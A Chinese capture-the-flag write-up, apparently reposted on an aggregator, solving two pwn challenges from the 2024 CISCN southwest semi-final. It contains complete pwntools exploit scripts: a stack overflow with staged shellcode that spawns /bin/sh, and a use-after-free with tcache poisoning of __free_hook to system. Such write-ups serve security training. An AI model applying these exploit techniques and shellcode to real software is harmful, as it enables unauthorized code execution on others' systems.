2024全国大学生信息安全竞赛(ciscn)半决赛(西南赛区)Pwn题解

本文主要是介绍2024全国大学生信息安全竞赛(ciscn)半决赛(西南赛区)Pwn题解,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

前两天把华南赛区和东北赛区的Ciscn半决赛题目复现完了。

最近西南赛区半决赛也刚刚结束,找师傅要了Pwn题目,复现一下。

Pwn1-vuln

比较有意思的题目,构造很巧妙,call的函数地址指向栈顶变量地址。

使得我们可以构造16字节的read的shellcode实现任意大小shellcode读取。

逆向分析

签到题,程序逆向很简单,挺有意思的一个题目。拖入IDA分析:

image-20240617143234249

程序流程如下:

  1. 输入0x40大小的name。

  2. 调用strcpy将"Hi there, "拷贝到s中。

  3. 然后再次调用strcpy将name拼接到s末尾。

  4. 最后将"! Welcome to CiscnCTF2024. If you have any questions you can contact us at test@example@"拼接到s的末尾。

s距离rbp有0x80大小的距离,肯定存在栈溢出漏洞,但是溢出的字节数不多,只能将它给的末尾字符串溢出到返回地址。

仔细观察程序,发现这段很可疑:

ptr[10] = '\xD0elpmaxe';
ptr[11] = '@\b';

直接动态调试看一下这里:

image-20240617143632400

发现这里插入了\x08\xd0两个十六进制,与末尾的@和5字节\x00组合起来就是0x4008D0,显然是一个程序地址。

我们看看这个地址的代码是什么:

image-20240617144034934

这个地方的函数头没了,猜测是后门函数,而函数头估计是被作者故意patch掉了。

这个函数直接调用了sub_400898函数,跟进分析:

image-20240617144240629

这个函数先调用了sub_40086F,跟进分析:

image-20240617144330965

调用了fgets读取最多0x10字节数据到qword_601080指向的地址。最后然后将qword_601080当作函数调用。

利用思路

劫持程序到后门函数

思路很清晰,通过溢出一部分长度将0x4008D0覆盖到返回地址,然后触发后门函数。

计算一下偏移量,可以gdb动态调试,也可以直接数,name输入0x27正好可以将0x4008D0放到返回地址。

由于后门函数限制我们输入16字节的shellcode,无法直接执行execve和orw。

构造16字节shellcode

read的shellcode刚好是16字节:

shellcode = asm("""mov rdi,raxmov rsi,rspmov edx,0x100xor eax,eaxsyscall
""")

而这道题目设计的很巧妙,qword_601080指向栈顶的局部变量v0。

也就是说,当程序执行到call qword_601080时,rsp指向的栈顶地址处就是我们刚刚写入的shellcode。

image-20240618105459790

我们可以找一个寄存器将rdi置0,然后将栈顶地址放入rsi,接着设置edx寄存器,最后设置eax调用号为0,执行syscall。

此时可以通过read读取任意大小的数据到栈顶,覆盖前面已执行完的shellcode后可以继续写入shellcode。

通过动态调试,确定返回地址,在syscall的返回地址处写orw或execve的shellcode即可:

image-20240618105417041

Exp

完整exp如下所示:

from pwn import *elf = ELF("./vuln")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'p.sendline(b'a' * 0x27)# gdb.attach(p, 'b *0x4008C4\nc')
# pause()# read
shellcode = asm("""mov rdi,raxmov rsi,rspmov edx,0x100xor eax,eaxsyscall
""")
print(len(shellcode))
p.send(shellcode)# shellcode
shellcode = asm("""mov rbx, 0x68732f6e69622fpush rbxpush rsppop rdixor esi,esixor edx,edxpush 0x3bpop raxsyscall
""")
p.send(b'a' * 0x17 + shellcode)p.interactive()

Pwn2-mcmf

题目是图论中的网络流算法最小费用最大流问题,如果了解过这个算法做起来应该很轻松。

从A到B点,每条路径有流量限制,算法的目的是选择合适的路径使得花费最小。

实际应用:卡车通过高速公路,每条高速公路有流量限制和费用,使得费用最低又能将货物全部送达。

如果没了解过也不要紧,对于这道题目只要能通过逆向可以看懂算法流程即可。

逆向分析

拖入IDA分析:

image-20240618110056483

发现是经典的菜单题,保护全开,给了glibc2.31。然后逐个分析菜单函数。

add函数:

image-20240618110137850

输入from、to,也就是两个结点。接着输入value、cost和flow。

然后调用两次addEdge添加有向图的边,最后还会泄露heap的低12位,分析addEdge函数:

image-20240618110855426

通过数组实现静态链表,通过邻接多重表,并且采用头插法,将结点对应的指针和值赋值到0x18大小的结构体中。

分析edit函数:

image-20240618112026035

可以编辑value和cost,value为8字节,cost为4字节。也就是说可以修改fd指针,也可以修改bk指针的低4字节。

再来分析delete函数:

image-20240618112126705

存在UAF漏洞。

最后分析calc函数:

image-20240618112151760

为需要计算费用的开头和结尾设置的无穷的流量,然后调用mincostmaxflow计算,分析这个函数:

image-20240618112219534

先调用spfa算法找到费用最低的路线,然后对cost求和。

如果cost求和的值大于0xdeadbeef调用gift函数:

image-20240618112331004

可以通过这个gift函数泄露libc基地址。

利用思路

这道题难点应该在于程序逆向分析,当弄清程序执行过程后,glibc2.31的利用应该是比较简单的。

泄露libc

先想办法泄露heap和libc,由于add和edit时对cost进行%10操作,因此mincost求和不可能大于0xdeadbeef。

而cost位于chunk的bk指针低4字节,通过free将其放到tcache中时,cost会变为key的低4字节,即很大的数。

我们可以将其free后,实现cost改为很大的数,然后调用calc函数泄露libc。

具体实现如下:

# leak libc
add_chunk(10, 11, 0xdeadbeef, 9, 1)     #0
add_chunk(11, 12, 0xdeadbeef, 9, 1)     #2
add_chunk(12, 13, 0xdeadbeef, 9, 1)     #4
add_chunk(13, 14, 0xdeadbeef, 9, 1)     #6# 0 -> 1 -> 2
add_chunk(0, 1, 0, 9, 1)                #8
add_chunk(1, 2, 0, 9, 1)                #10delete_chunk(0, 1)
delete_chunk(1, 2)delete_chunk(10, 11)
delete_chunk(11, 12)
delete_chunk(12, 13)
delete_chunk(13, 14)calc(0, 2)                              #12.13.14.15
p.recvuntil(b'gitf: ')
libc_base = int(p.recv(14), 16) - 0x1ecbe0
libc.address = libc_base
success('libc_base = ' + hex(libc_base))

解释一下为什么需要这样构造。我们创建2个0x20大小的chunk。

调用calc函数时,会创建4个0x20的chunk,为了防止把我们free掉的2个chunk申请走,先填充4个chunk到tcache即可。

此时,从0到2这条路径中cost会非常大,不过这里由于也修改了flow,导致有时候可能会出现spfa死循环。

调用calc后cost > 0xdeadbeef,成功泄露出libc基地址。

泄露heap

edit函数会打印value和cost的值,即打印fd指针和bk指针的低4字节值。

此时,fd指针指向下一个tcache的地址,因此可以通过edit函数打印出fd指针泄露heap基地址。

# leak heap
# edit_chunk(10, 0xaaaabbbb, 9)
p.sendlineafter(b"choice:", b"2")
p.sendlineafter(b"index?\n", str(10).encode())
p.recvuntil(b'The value now is: ')
heap_base = int(p.recvuntil(b'\n', drop=True)) - 0x11fb0
success('heap_base = ' + hex(heap_base))
p.sendlineafter(b"value?\n", str(0xaaaabbbb).encode())
p.sendlineafter(b"cost?\n", str(9).encode())

tcache posioning

再次修改tcache[0]的fd指针,指向__free_hook。

然后调用add函数,会申请2个chunk,第一个chunk的fd为value,第二个chunk的fd为-value。

因此,调用add函数时,将-system作为value输入即可修改__free__hook -> system。

free_hook = libc.sym['__free_hook']
system = libc.sym['system']# __free_hook -> system
edit_chunk(10, free_hook, 9)
add_chunk(20, 21, -system, 9, 1)         #16.17

最后,直接delete一个带有binsh字符串的chunk即可:

# 16->value = '/bin/sh\x00'
edit_chunk(16, 0x68732f6e69622f, 9)
# delete(16)
delete_chunk(20, 21)

Exp

from pwn import *elf = ELF("./mcmf")
libc = ELF("./libc.so.6")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'def add_chunk(a, b, value, cost, flow):p.sendlineafter(b"choice: ", b"1")p.sendlineafter(b"from?\n", str(a).encode())p.sendlineafter(b"to?\n", str(b).encode())p.sendlineafter(b"value?\n", str(value).encode())p.sendlineafter(b"cost?\n", str(cost).encode())p.sendlineafter(b"flow?\n", str(flow).encode())def edit_chunk(index, value, cost):p.sendlineafter(b"choice:", b"2")p.sendlineafter(b"index?\n", str(index).encode())p.sendlineafter(b"value?\n", str(value).encode())p.sendlineafter(b"cost?\n", str(cost).encode())def delete_chunk(a, b):p.sendlineafter(b"choice:", b"3")p.sendlineafter(b"from?\n", str(a).encode())p.sendlineafter(b"to?\n", str(b).encode())def calc(a, b):p.sendlineafter(b"choice:", b"4")p.sendlineafter(b"from?\n", str(a).encode())p.sendlineafter(b"to?\n", str(b).encode())# leak libc
add_chunk(10, 11, 0xdeadbeef, 9, 1)     #0.1
add_chunk(11, 12, 0xdeadbeef, 9, 1)     #2.3
add_chunk(12, 13, 0xdeadbeef, 9, 1)     #4.5
add_chunk(13, 14, 0xdeadbeef, 9, 1)     #6.7# 0 -> 1 -> 2
add_chunk(0, 1, 0, 9, 1)                #8.9
add_chunk(1, 2, 0, 9, 1)                #10.11
p.recvuntil(b'gift: ')
heap_tmp = int(p.recv(5), 16)delete_chunk(0, 1)
delete_chunk(1, 2)delete_chunk(10, 11)
delete_chunk(11, 12)
delete_chunk(12, 13)
delete_chunk(13, 14)calc(0, 2)                              #12.13.14.15
p.recvuntil(b'gitf: ')
libc_base = int(p.recv(14), 16) - 0x1ecbe0
libc.address = libc_base
success('libc_base = ' + hex(libc_base))# leak heap
# edit_chunk(10, 0xaaaabbbb, 9)
p.sendlineafter(b"choice:", b"2")
p.sendlineafter(b"index?\n", str(10).encode())
p.recvuntil(b'The value now is: ')
heap_base = int(p.recvuntil(b'\n', drop=True)) - 0x11fb0
success('heap_base = ' + hex(heap_base))
p.sendlineafter(b"value?\n", str(0xaaaabbbb).encode())
p.sendlineafter(b"cost?\n", str(9).encode())# tcache poisoning
free_hook = libc.sym['__free_hook']
system = libc.sym['system']# __free_hook -> system
edit_chunk(10, free_hook, 9)
add_chunk(20, 21, -system, 9, 1)         #16.17# 16->value = '/bin/sh\x00'
edit_chunk(16, 0x68732f6e69622f, 9)
# delete(16)
delete_chunk(20, 21)p.interactive()

Pwn3-Kernel

Kernel Pwn最近还在学习中,这里先不写WriteUp了,后续再作补充。

有兴趣的师傅可以下载附件研究一下。

附件

关注vx公众号【Real返璞归真】回复【ciscn】获取题目附件下载地址。

image-20240618121752235

这篇关于2024全国大学生信息安全竞赛(ciscn)半决赛(西南赛区)Pwn题解的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1072182

相关文章

LeetCode11. 盛最多水的容器题解

LeetCode11. 盛最多水的容器题解 题目链接: https://leetcode.cn/problems/container-with-most-water 示例 思路 暴力解法 定住一个柱子不动,然后用其他柱子与其围住面积,取最大值。 代码如下: public int maxArea1(int[] height) {int n = height.length;int

创新、引领、发展——SAMPE中国2024年会在京盛大开幕

绿树阴浓夏日长,在这个色彩缤纷的季节,SAMPE中国2024年会暨第十九届国际先进复合材料制品原材料、工装及工程应用展览会在中国国际展览中心(北京朝阳馆)隆重开幕。新老朋友共聚一堂,把酒话桑麻。 为期4天的国际学术会议以“先进复合材料,引领产业创新与可持续化发展”为主题,设立了34个主题分会场,其中包括了可持续化会场、国际大学生会场、中法复合材料制造技术峰会三个国际会场和女科技工作者委员会沙龙,

(1995-2022年) 全国各省份-技术交易活跃度

技术交易活跃度是一个关键指标,用于衡量技术市场的交易频繁程度和活跃性。它不仅显示了市场参与者对技术交易的参与热情,而且交易的频率也体现了市场的活力。这一指标对于不同的利益相关者具有不同的意义: 对投资者而言,技术交易活跃度是把握市场趋势、评估交易策略和预测市场波动的重要工具。对企业来说,技术交易活跃度反映了其技术创新的活跃程度和市场竞争的激烈程度,有助于企业制定技术创新和市场竞争策略。对政策制定

LeetCode:经典题之141、142 题解及延伸

系列目录 88.合并两个有序数组 52.螺旋数组 567.字符串的排列 643.子数组最大平均数 150.逆波兰表达式 61.旋转链表 160.相交链表 83.删除排序链表中的重复元素 389.找不同 1491.去掉最低工资和最高工资后的工资平均值 896.单调序列 206.反转链表 92.反转链表II 141.环形链表 142.环型链表 目录 系列目录141. 环形链表常量因子 1

2024年6月24日-6月30日(ue独立游戏为核心)

试过重点放在独立游戏上,有个indienova独立游戏团队是全职的,由于他们干了几个月,节奏暂时跟不上,紧张焦虑了。五一时也有点自暴自弃了,实在没必要,按照自己的节奏走即可。精力和时间也有限,放在周末进行即可。除非哪天失业了,再也找不到工作了,再把重心放在独立游戏上。 另外,找到一个同样业余的美术,从头做肉鸽游戏,两周一次正式交流即可。节奏一定要放慢,不能影响正常工作生活。如果影响到了,还不如自

C语言 | Leetcode C语言题解之第188题买卖股票的最佳时机IV

题目: 题解: int maxProfit(int k, int* prices, int pricesSize) {int n = pricesSize;if (n == 0) {return 0;}k = fmin(k, n / 2);int buy[k + 1], sell[k + 1];memset(buy, 0, sizeof(buy));memset(sell, 0, size

潜艇伟伟迷杂交版植物大战僵尸2024最新免费安卓+ios苹果+iPad分享

嗨,亲爱的游戏迷们!今天我要给你们种草一个超有趣的游戏——植物大战僵尸杂交版。这款游戏不仅继承了原有经典游戏的核心玩法,还加入了许多创新元素,让玩家能够体验到前所未有的乐趣。快来跟随我一起探索这个神奇的世界吧! 植物大战僵尸杂交版最新绿色版下载链接: https://pan.quark.cn/s/d60ed6e4791c 🔥 创新与经典的完美结合 植物大战僵尸杂交版在保持了原游戏经典玩

6月21日训练 (东北林业大学)(个人题解)

前言:   这次训练是大一大二一起参加的训练,总体来说难度是有的,我和队友在比赛时间内就写出了四道题,之后陆陆续续又补了了三道题,还有一道题看了学长题解后感觉有点超出我的能力范围了,就留给以后的自己吧。话不多说,上正文。 正文:   Problem:A 幸运数字: #include <bits/stdc++.h>using namespace std;int sum,ans;in

LeetCode:经典题之389 题解与延伸

系列目录 88.合并两个有序数组 52.螺旋数组 567.字符串的排列 643.子数组最大平均数 150.逆波兰表达式 61.旋转链表 160.相交链表 83.删除排序链表中的重复元素 389.找不同 1491.去掉最低工资和最高工资后的工资平均值 896.单调序列 206.反转链表 92.反转链表II 141.环形链表 142.环型链表 目录 系列目录389.找不同哈希表

Chromium 调试指南2024 - 远程开发(下)

1. 引言 在《Chromium 调试指南2024 - 远程开发(上)》中,我们探讨了远程开发的基本概念、优势以及如何选择合适的远程开发模式。掌握了这些基础知识后,接下来我们将深入了解如何在远程环境中高效地进行Chromium项目的调试工作。 调试是开发过程中至关重要的一环,特别是对于像Chromium这样复杂的大型项目。远程调试不仅可以充分利用远程服务器的强大计算资源,还能确保开发环境的一致